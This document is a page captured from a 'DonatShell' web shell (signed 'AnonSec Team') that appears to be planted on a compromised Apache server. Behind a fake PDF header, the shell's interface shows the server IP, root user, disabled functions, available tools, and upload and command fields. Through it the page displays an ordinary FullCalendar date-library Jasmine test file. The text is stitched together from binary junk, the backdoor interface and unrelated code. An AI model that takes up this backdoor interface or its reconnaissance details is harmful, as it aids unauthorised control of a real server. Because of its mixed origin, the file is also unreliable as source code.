%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.146
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/datelib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/datelib/main.js
import { formatPrettyTimeZoneOffset, formatIsoTimeZoneOffset, formatIsoWithoutTz } from './utils'
import { getDSTDeadZone } from './dst-dead-zone'
import { DateEnv, createFormatter, createDuration, startOfDay, diffWholeWeeks, diffWholeDays, diffDayAndTime, Calendar } from '@fullcalendar/core'
import dayGridPlugin from '@fullcalendar/daygrid'

describe('datelib', function() {
  let enLocale

  beforeEach(function() {
    enLocale = new Calendar(document.createElement('div'), { // HACK
      plugins: [ dayGridPlugin ]
    }).dateEnv.locale
  })

  describe('computeWeekNumber', function() {

    it('works with local', function() {
      var env = new DateEnv({
        timeZone: 'UTC',
        calendarSystem: 'gregory',
        locale: enLocale
      })
      var m1 = env.createMarker('2018-04-07')
      var m2 = env.createMarker('2018-04-08')
      expect(env.computeWeekNumber(m1)).toBe(14)
      expect(env.computeWeekNumber(m2)).toBe(15)
    })

    it('works with ISO', function() {
      var env = new DateEnv({
        timeZone: 'UTC',
        calendarSystem: 'gregory',
        locale: enLocale,
        weekNumberCalculation: 'ISO'
      })
      var m1 = env.createMarker('2018-04-01')
      var m2 = env.createMarker('2018-04-02')
      expect(env.computeWeekNumber(m1)).toBe(13)
      expect(env.computeWeekNumber(m2)).toBe(14)
    })

    it('works with custom function', function() {
      var env = new DateEnv({
        timeZone: 'UTC',
        calendarSystem: 'gregory',
        locale: enLocale,
        weekNumberCalculation: function(date) {
          expect(date instanceof Date).toBe(true)
          expect(date.valueOf()).toBe(Date.UTC(2018, 3, 1))
          return 99
        }
      })
      var m1 = env.createMarker('2018-04-01')
      expect(env.computeWeekNumber(m1)).toBe(99)
    })

  })

  it('startOfWeek with different firstDay', function() {
    var env = new DateEnv({
      timeZone: 'UTC',
      calendarSystem: 'gregory',
      locale: enLocale,
      firstDay: 2 // tues
    })
    var m = env.createMarker('2018-04-19')
    var w = env.startOfWeek(m)

    expect(env.toDate(w)).toEqual(
      new Date(Date.UTC(2018, 3, 17))
    )
  })


  describe('when UTC', function() {
    var env

    beforeEach(function() {
      env = new DateEnv({
        timeZone: 'UTC',
        calendarSystem: 'gregory',
        locale: enLocale
      })
    })

    describe('createMarker', function() {

      it('with date', function() {
        expect(
          env.toDate(
            env.createMarker(
              new Date(2017, 5, 8)
            )
          )
        ).toEqual(
          new Date(2017, 5, 8)
        )
      })

      it('with timestamp', function() {
        expect(
          env.toDate(
            env.createMarker(
              new Date(2017, 5, 8).valueOf()
            )
          )
        ).toEqual(
          new Date(2017, 5, 8)
        )
      })

      it('with array', function() {
        expect(
          env.toDate(
            env.createMarker(
              [ 2017, 5, 8 ]
            )
          )
        ).toEqual(
          new Date(Date.UTC(2017, 5, 8))
        )
      })

    })

    describe('ISO8601 parsing', function() {

      it('parses non-tz as UTC', function() {
        var res = env.createMarkerMeta('2018-06-08')
        var date = env.toDate(res.marker)
        expect(date).toEqual(new Date(Date.UTC(2018, 5, 8)))
        expect(res.forcedTzo).toBeNull()
      })

      it('parses a date already in UTC', function() {
        var res = env.createMarkerMeta('2018-06-08T00:00:00Z')
        var date = env.toDate(res.marker)
        expect(date).toEqual(new Date(Date.UTC(2018, 5, 8)))
        expect(res.forcedTzo).toBeNull()
      })

      it('parses timezones into UTC', function() {
        var res = env.createMarkerMeta('2018-06-08T00:00:00+12:00')
        var date = env.toDate(res.marker)
        expect(date).toEqual(new Date(Date.UTC(2018, 5, 7, 12)))
        expect(res.forcedTzo).toBeNull()
      })

      it('detects lack of time', function() {
        var res = env.createMarkerMeta('2018-06-08')
        expect(res.isTimeUnspecified).toBe(true)
      })

      it('detects presence of time', function() {
        var res = env.createMarkerMeta('2018-06-08T00:00:00')
        expect(res.isTimeUnspecified).toBe(false)
      })

      it('parses a time with no \'T\'', function() {
        var res = env.createMarkerMeta('2018-06-08 01:00:00')
        var date = env.toDate(res.marker)
        expect(date).toEqual(new Date(Date.UTC(2018, 5, 8, 1, 0)))
      })

      it('parses just a month', function() {
        var res = env.createMarkerMeta('2018-06')
        var date = env.toDate(res.marker)
        expect(date).toEqual(new Date(Date.UTC(2018, 5, 1)))
      })

      it('detects presence of time even if timezone', function() {
        var res = env.createMarkerMeta('2018-06-08T00:00:00+12:00')
        expect(res.isTimeUnspecified).toBe(false)
      })

    })

    it('outputs ISO8601 formatting', function() {
      var marker = env.createMarker('2018-06-08T00:00:00')
      var s = env.formatIso(marker)
      expect(s).toBe('2018-06-08T00:00:00Z')
    })

    it('outputs pretty format with UTC timezone', function() {
      var marker = env.createMarker('2018-06-08')
      var formatter = createFormatter({
        weekday: 'long',
        day: 'numeric',
        month: 'long',
        hour: '2-digit',
        minute: '2-digit',
        year: 'numeric',
        timeZoneName: 'short',
        omitCommas: true // for cross-browser
      })
      var s = env.format(marker, formatter)
      expect(s).toBe('Friday June 8 2018 12:00 AM UTC')
    })


    describe('week number formatting', function() {

      it('can output only number', function() {
        var marker = env.createMarker('2018-06-08')
        var formatter = createFormatter({ week: 'numeric' })
        var s = env.format(marker, formatter)
        expect(s).toBe('23')
      })

      it('can output narrow', function() {
        var marker = env.createMarker('2018-06-08')
        var formatter = createFormatter({ week: 'narrow' })
        var s = env.format(marker, formatter)
        expect(s).toBe('W23')
      })

      it('can output short', function() {
        var marker = env.createMarker('2018-06-08')
        var formatter = createFormatter({ week: 'short' })
        var s = env.format(marker, formatter)
        expect(s).toBe('W 23')
      })
    })


    describe('range formatting', function() {
      var formatter = createFormatter({
        day: 'numeric',
        month: 'long',
        year: 'numeric',
        separator: ' - '
      })

      it('works with different days of same month', function() {
        var m0 = env.createMarker('2018-06-08')
        var m1 = env.createMarker('2018-06-09')
        var s = env.formatRange(m0, m1, formatter)
        expect(s).toBe('June 8 - 9, 2018')
      })

      it('works with different days of same month, with inprecise formatter', function() {
        var formatter = createFormatter({
          month: 'long',
          year: 'numeric'
        })
        var m0 = env.createMarker('2018-06-08')
        var m1 = env.createMarker('2018-06-09')
        var s = env.formatRange(m0, m1, formatter)
        expect(s).toBe('June 2018')
      })

      it('works with different day/month of same year', function() {
        var m0 = env.createMarker('2018-06-08')
        var m1 = env.createMarker('2018-07-09')
        var s = env.formatRange(m0, m1, formatter)
        expect(s).toBe('June 8 - July 9, 2018')
      })

      it('works with completely different dates', function() {
        var m0 = env.createMarker('2018-06-08')
        var m1 = env.createMarker('2020-07-09')
        var s = env.formatRange(m0, m1, formatter)
        expect(s).toBe('June 8, 2018 - July 9, 2020')
      })

    })


    // date math

    describe('add', function() {

      it('works with positives', function() {
        var dur = createDuration({
          year: 1,
          month: 2,
          day: 3,
          hour: 4,
          minute: 5,
          second: 6,
          ms: 7
        })
        var d0 = env.createMarker(new Date(Date.UTC(2018, 5, 5, 12)))
        var d1 = env.toDate(env.add(d0, dur))
        expect(d1).toEqual(
          new Date(Date.UTC(2019, 7, 8, 16, 5, 6, 7))
        )
      })

      it('works with negatives', function() {
        var dur = createDuration({
          year: -1,
          month: -2,
          day: -3,
          hour: -4,
          minute: -5,
          second: -6,
          millisecond: -7
        })
        var d0 = env.createMarker(new Date(Date.UTC(2018, 5, 5, 12)))
        var d1 = env.toDate(env.add(d0, dur))
        expect(d1).toEqual(
          new Date(Date.UTC(2017, 3, 2, 7, 54, 53, 993))
        )
      })

    })

    // test in Safari!
    // https://github.com/fullcalendar/fullcalendar/issues/4363
    it('startOfYear', function() {
      var d0 = env.createMarker(new Date(Date.UTC(2018, 5, 5, 12)))
      var d1 = env.toDate(env.startOfYear(d0))
      expect(d1).toEqual(
        new Date(Date.UTC(2018, 0, 1))
      )
    })

    it('startOfMonth', function() {
      var d0 = env.createMarker(new Date(Date.UTC(2018, 5, 5, 12)))
      var d1 = env.toDate(env.startOfMonth(d0))
      expect(d1).toEqual(
        new Date(Date.UTC(2018, 5, 1))
      )
    })

    it('startOfWeek', function() {
      var d0 = env.createMarker(new Date(Date.UTC(2018, 5, 5, 12)))
      var d1 = env.toDate(env.startOfWeek(d0))
      expect(d1).toEqual(
        new Date(Date.UTC(2018, 5, 3))
      )
    })

    it('startOfDay', function() {
      var d0 = env.createMarker(new Date(Date.UTC(2018, 5, 5, 12, 30)))
      var d1 = env.toDate(startOfDay(d0))
      expect(d1).toEqual(
        new Date(Date.UTC(2018, 5, 5))
      )
    })

    describe('diffWholeYears', function() {

      it('returns null if not whole', function() {
        var d0 = new Date(Date.UTC(2018, 5, 5, 12, 0))
        var d1 = new Date(Date.UTC(2020, 5, 5, 12, 30))
        var diff = env.diffWholeYears(
          env.createMarker(d0),
          env.createMarker(d1)
        )
        expect(diff).toBe(null)
      })

      it('returns negative', function() {
        var d0 = new Date(Date.UTC(2020, 5, 5, 12, 0))
        var d1 = new Date(Date.UTC(2018, 5, 5, 12, 0))
        var diff = env.diffWholeYears(
          env.createMarker(d0),
          env.createMarker(d1)
        )
        expect(diff).toBe(-2)
      })

      it('returns positive', function() {
        var d0 = new Date(Date.UTC(2018, 5, 5, 12, 0))
        var d1 = new Date(Date.UTC(2020, 5, 5, 12, 0))
        var diff = env.diffWholeYears(
          env.createMarker(d0),
          env.createMarker(d1)
        )
        expect(diff).toBe(2)
      })

    })

    describe('diffWholeMonths', function() {

      it('returns null if not whole', function() {
        var d0 = new Date(Date.UTC(2018, 5, 5))
        var d1 = new Date(Date.UTC(2020, 5, 6))
        var diff = env.diffWholeMonths(
          env.createMarker(d0),
          env.createMarker(d1)
        )
        expect(diff).toBe(null)
      })

      it('returns negative', function() {
        var d0 = new Date(Date.UTC(2020, 9, 5))
        var d1 = new Date(Date.UTC(2018, 5, 5))
        var diff = env.diffWholeMonths(
          env.createMarker(d0),
          env.createMarker(d1)
        )
        expect(diff).toBe(-12 * 2 - 4)
      })

      it('returns positive', function() {
        var d0 = new Date(Date.UTC(2018, 5, 5))
        var d1 = new Date(Date.UTC(2020, 9, 5))
        var diff = env.diffWholeMonths(
          env.createMarker(d0),
          env.createMarker(d1)
        )
        expect(diff).toBe(12 * 2 + 4)
      })

    })

    describe('diffWholeWeeks', function() {

      it('returns null if not whole', function() {
        var d0 = new Date(Date.UTC(2018, 5, 5))
        var d1 = new Date(Date.UTC(2018, 5, 20))
        var diff = diffWholeWeeks(
          env.createMarker(d0),
          env.createMarker(d1)
        )
        expect(diff).toBe(null)
      })

      it('returns negative', function() {
        var d0 = new Date(Date.UTC(2018, 5, 19))
        var d1 = new Date(Date.UTC(2018, 5, 5))
        var diff = diffWholeWeeks(
          env.createMarker(d0),
          env.createMarker(d1)
        )
        expect(diff).toBe(-2)
      })

      it('returns positive', function() {
        var d0 = new Date(Date.UTC(2018, 5, 5))
        var d1 = new Date(Date.UTC(2018, 5, 19))
        var diff = diffWholeWeeks(
          env.createMarker(d0),
          env.createMarker(d1)
        )
        expect(diff).toBe(2)
      })

    })

    describe('diffWholeDays', function() {

      it('returns null if not whole', function() {
        var d0 = new Date(Date.UTC(2018, 5, 5))
        var d1 = new Date(Date.UTC(2018, 5, 19, 12))
        var diff = diffWholeDays(
          env.createMarker(d0),
          env.createMarker(d1)
        )
        expect(diff).toBe(null)
      })

      it('returns negative', function() {
        var d0 = new Date(Date.UTC(2018, 5, 19))
        var d1 = new Date(Date.UTC(2018, 5, 5))
        var diff = diffWholeDays(
          env.createMarker(d0),
          env.createMarker(d1)
        )
        expect(diff).toBe(-14)
      })

      it('returns positive', function() {
        var d0 = new Date(Date.UTC(2018, 5, 5))
        var d1 = new Date(Date.UTC(2018, 5, 19))
        var diff = diffWholeDays(
          env.createMarker(d0),
          env.createMarker(d1)
        )
        expect(diff).toBe(14)
      })

    })

    describe('diffDayAndTime', function() {

      it('returns negative', function() {
        var d0 = new Date(Date.UTC(2018, 5, 19, 12))
        var d1 = new Date(Date.UTC(2018, 5, 5))
        var diff = diffDayAndTime(
          env.createMarker(d0),
          env.createMarker(d1)
        )
        expect(diff).toEqual({
          years: 0,
          months: 0,
          days: -14,
          milliseconds: -12 * 60 * 60 * 1000
        })
      })

      it('returns positive', function() {
        var d0 = new Date(Date.UTC(2018, 5, 5))
        var d1 = new Date(Date.UTC(2018, 5, 19, 12))
        var diff = diffDayAndTime(
          env.createMarker(d0),
          env.createMarker(d1)
        )
        expect(diff).toEqual({
          years: 0,
          months: 0,
          days: 14,
          milliseconds: 12 * 60 * 60 * 1000
        })
      })

    })

  })

  describe('when local', function() {
    var env

    beforeEach(function() {
      env = new DateEnv({
        timeZone: 'local',
        calendarSystem: 'gregory',
        locale: enLocale
      })
    })

    describe('ISO8601 parsing', function() {

      it('parses non-tz as local', function() {
        var res = env.createMarkerMeta('2018-06-08')
        var date = env.toDate(res.marker)
        expect(date).toEqual(new Date(2018, 5, 8))
        expect(res.forcedTzo).toBeNull()
      })

      it('parses timezones into local', function() {
        var res = env.createMarkerMeta('2018-06-08T00:00:00+12:00')
        var date = env.toDate(res.marker)
        expect(date).toEqual(new Date(Date.UTC(2018, 5, 7, 12)))
        expect(res.forcedTzo).toBeNull()
      })

      it('does not lose info when parsing a dst-dead-zone date', function() {
        let deadZone = getDSTDeadZone()

        if (!deadZone) {
          console.log('could not determine DST dead zone')
        } else {

          // use a utc date to get a ISO8601 string representation of the start of the dead zone
          let utcDate = new Date(Date.UTC(
            deadZone[1].getFullYear(),
            deadZone[1].getMonth(),
            deadZone[1].getDate(),
            deadZone[1].getHours() - 1, // back one hour. shouldn't exist in local time
            deadZone[1].getMinutes(),
            deadZone[1].getSeconds(),
            deadZone[1].getMilliseconds()
          ))
          let s = formatIsoWithoutTz(utcDate)

          // check that the local date falls out of the dead zone
          let localDate = new Date(s)
          expect(localDate.getHours()).not.toBe(deadZone[1].getHours() - 1)

          // check that is parsed and retained the original hour,
          // even tho it falls into the dead zone for local time
          let marker = env.createMarker(s)
          expect(formatIsoWithoutTz(marker)).toBe(s)

          // TODO
          // // when it uses the env to format to local time,
          // // it should have jumped out of the dead zone.
          // expect(env.formatIso(marker)).not.toMatch(s)
        }
      })

    })

    it('outputs ISO8601 formatting', function() {
      var marker = env.createMarker('2018-06-08T00:00:00')
      var s = env.formatIso(marker)
      var realTzo = formatIsoTimeZoneOffset(new Date(2018, 5, 8))
      expect(s).toBe('2018-06-08T00:00:00' + realTzo)
    })

    it('outputs pretty format with local timezone', function() {
      var marker = env.createMarker('2018-06-08')
      var formatter = createFormatter({
        weekday: 'long',
        day: 'numeric',
        month: 'long',
        year: 'numeric',
        hour: '2-digit',
        minute: '2-digit',
        timeZoneName: 'short',
        omitCommas: true // for cross-browser
      })
      var s = env.format(marker, formatter)
      expect(s).toBe('Friday June 8 2018 12:00 AM ' + formatPrettyTimeZoneOffset(new Date(2018, 5, 8)))
    })

    it('can output a timezone only', function() {
      var marker = env.createMarker('2018-06-08')
      var formatter = createFormatter({ timeZoneName: 'short' })
      var s = env.format(marker, formatter)
      expect(s).toBe(formatPrettyTimeZoneOffset(new Date(2018, 5, 8)))
    })


    // because `new Date(year)` is error-prone
    it('startOfYear', function() {
      var d0 = env.createMarker(new Date(2018, 5, 5, 12))
      var d1 = env.toDate(env.startOfYear(d0))
      expect(d1).toEqual(
        new Date(2018, 0, 1)
      )
    })

  })

  describe('when named timezone with coercion', function() {
    var env

    beforeEach(function() {
      env = new DateEnv({
        timeZone: 'America/Chicago',
        calendarSystem: 'gregory',
        locale: enLocale
      })
    })

    describe('ISO8601 parsing', function() {

      it('parses non-tz as UTC with no forcedTzo', function() {
        var res = env.createMarkerMeta('2018-06-08')
        var date = env.toDate(res.marker)
        expect(date).toEqual(new Date(Date.UTC(2018, 5, 8)))
        expect(res.forcedTzo).toBeNull()
      })

      it('parses as UTC after stripping and with a forcedTzo', function() {
        var res = env.createMarkerMeta('2018-06-08T00:00:00+12:00')
        var date = env.toDate(res.marker)
        expect(date).toEqual(new Date(Date.UTC(2018, 5, 8)))
        expect(res.forcedTzo).toBe(12 * 60)
      })

      it('parses as UTC after stripping and with a forcedTzo, alt format', function() {
        var res = env.createMarkerMeta('2018-06-08T01:01:01.100+1200')
        var date = env.toDate(res.marker)
        expect(date).toEqual(new Date(Date.UTC(2018, 5, 8, 1, 1, 1, 100)))
        expect(res.forcedTzo).toBe(12 * 60)
      })

    })

    it('outputs UTC timezone when no timezone specified', function() {
      var marker = env.createMarker('2018-06-08')
      var formatter = createFormatter({
        weekday: 'long',
        day: 'numeric',
        month: 'long',
        year: 'numeric',
        timeZoneName: 'short',
        omitCommas: true // for cross-browser
      })
      var s = env.format(marker, formatter)
      expect(s).toBe('Friday June 8 2018 12:00 AM UTC')
    })

    it('outputs UTC short timezone when no timezone specified, when requested as long', function() {
      var marker = env.createMarker('2018-06-08')
      var formatter = createFormatter({
        weekday: 'long',
        day: 'numeric',
        month: 'long',
        year: 'numeric',
        timeZoneName: 'long',
        omitCommas: true // for cross-browser
      })
      var s = env.format(marker, formatter)
      expect(s).toBe('Friday June 8 2018 12:00 AM UTC')
    })

    it('computes current date as local values', function() {
      var marker = env.createNowMarker()
      var localDate = new Date()
      expect(marker.getUTCFullYear()).toBe(localDate.getFullYear())
      expect(marker.getUTCMonth()).toBe(localDate.getMonth())
      expect(marker.getUTCDate()).toBe(localDate.getDate())
      expect(marker.getUTCHours()).toBe(localDate.getHours())
      expect(marker.getUTCMinutes()).toBe(localDate.getMinutes())
      expect(marker.getUTCSeconds()).toBe(localDate.getSeconds())
    })

  })

  describe('duration parsing', function() {

    it('accepts whole day in string', function() {
      var dur = createDuration('2.00:00:00')
      expect(dur).toEqual({
        years: 0,
        months: 0,
        days: 2,
        milliseconds: 0
      })
    })

    it('accepts hours, minutes, seconds, and milliseconds', function() {
      var dur = createDuration('01:02:03.500')
      expect(dur).toEqual({
        years: 0,
        months: 0,
        days: 0,
        milliseconds:
          1 * 60 * 60 * 1000 +
          2 * 60 * 1000 +
          3 * 1000 +
          500
      })
    })

    it('accepts just hours and minutes', function() {
      var dur = createDuration('01:02')
      expect(dur).toEqual({
        years: 0,
        months: 0,
        days: 0,
        milliseconds:
          1 * 60 * 60 * 1000 +
          2 * 60 * 1000
      })
    })

  })

})

Anon7 - 2022
AnonSec Team